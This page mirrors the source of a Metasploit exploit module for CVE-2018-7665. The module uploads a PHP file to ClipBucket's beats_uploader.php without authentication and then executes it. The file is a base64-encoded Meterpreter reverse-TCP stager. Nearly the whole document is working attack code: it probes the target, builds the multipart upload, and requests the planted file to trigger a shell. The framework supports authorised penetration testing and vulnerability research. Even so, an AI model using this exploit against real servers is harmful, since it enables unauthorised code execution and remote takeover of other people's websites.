CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/clipbucket_fileupload_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
3
##
4
5
class MetasploitModule < Msf::Exploit::Remote
6
Rank = ExcellentRanking
7
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
14
'Description' => %q{
15
This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
16
A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
17
It is possible for an attacker to upload a malicious script to issue operating system commands.
18
This issue is caused by improper session handling in /action/beats_uploader.php file.
19
This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'www.sec-consult.com', # Vulnerability Discovery, PoC
25
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
26
],
27
'References' =>
28
[
29
[ 'CVE', '2018-7665' ],
30
[ 'EDB', '44250' ]
31
],
32
'DefaultOptions' =>
33
{
34
'SSL' => false,
35
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
36
'Encoder' => 'php/base64'
37
},
38
'Platform' => ['php'],
39
'Arch' => ARCH_PHP,
40
'Targets' =>
41
[
42
['Clipbucket < 4.0.0 - Release 4902', {}]
43
],
44
'Privileged' => false,
45
'DisclosureDate' => '2018-03-03',
46
'DefaultTarget' => 0))
47
48
register_options(
49
[
50
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
51
])
52
end
53
54
def uri
55
return target_uri.path
56
end
57
58
def check
59
vprint_status('Trying to detect ClipBucket on target.')
60
61
# check for readme file
62
res = send_request_cgi({
63
'method' => 'GET',
64
'uri' => normalize_uri(uri, 'readme')
65
})
66
67
unless res
68
vprint_error('Connection failed')
69
return CheckCode::Unknown
70
end
71
72
unless res.code == 200 && res.body.include?('ClipBucket')
73
vprint_error('Could not find readme')
74
return CheckCode::Safe
75
end
76
77
# check for beats_uploader.php file
78
res = send_request_cgi({
79
'method' => 'GET',
80
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')
81
})
82
83
unless res
84
vprint_error('Connection failed')
85
return CheckCode::Unknown
86
end
87
88
unless res.code == 200
89
vprint_error('Could not find beats_uploader.php')
90
return CheckCode::Safe
91
end
92
93
Exploit::CheckCode::Appears
94
end
95
96
def exploit
97
98
# generate the PHP meterpreter payload
99
stager = '<?php '
100
stager << payload.encode
101
stager << '?>'
102
103
# Setting POST data
104
post_data = Rex::MIME::Message.new
105
post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
106
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
107
post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
108
data = post_data.to_s
109
110
111
print_status('Uploading payload..')
112
res = send_request_cgi({
113
'method' => 'POST',
114
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),
115
'data' => data,
116
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
117
})
118
119
jsonres = res.get_json_document
120
121
# If the server returns 200 and success yes, we assume we uploaded the malicious
122
# file successfully
123
unless res && res.code == 200 && jsonres['success'] == 'yes'
124
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
125
end
126
print_good('Looking For Payload..')
127
pdir = jsonres['file_directory']
128
file_name = jsonres['file_name']
129
pext = jsonres['extension']
130
print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
131
132
# Payload name
133
pname = "#{file_name}.php"
134
135
# Cleanup is Good Idea .
136
register_files_for_cleanup(pname)
137
138
print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
139
res = send_request_cgi({
140
'method' => 'GET',
141
'uri' => normalize_uri(uri, 'actions', pdir, pname)
142
})
143
144
# If we don't get a 200 when we request our malicious payload, we suspect
145
# we don't have a shell, either.
146
if res && res.code != 200
147
print_error('Unexpected response, probably the exploit failed')
148
end
149
end
150
end
151
152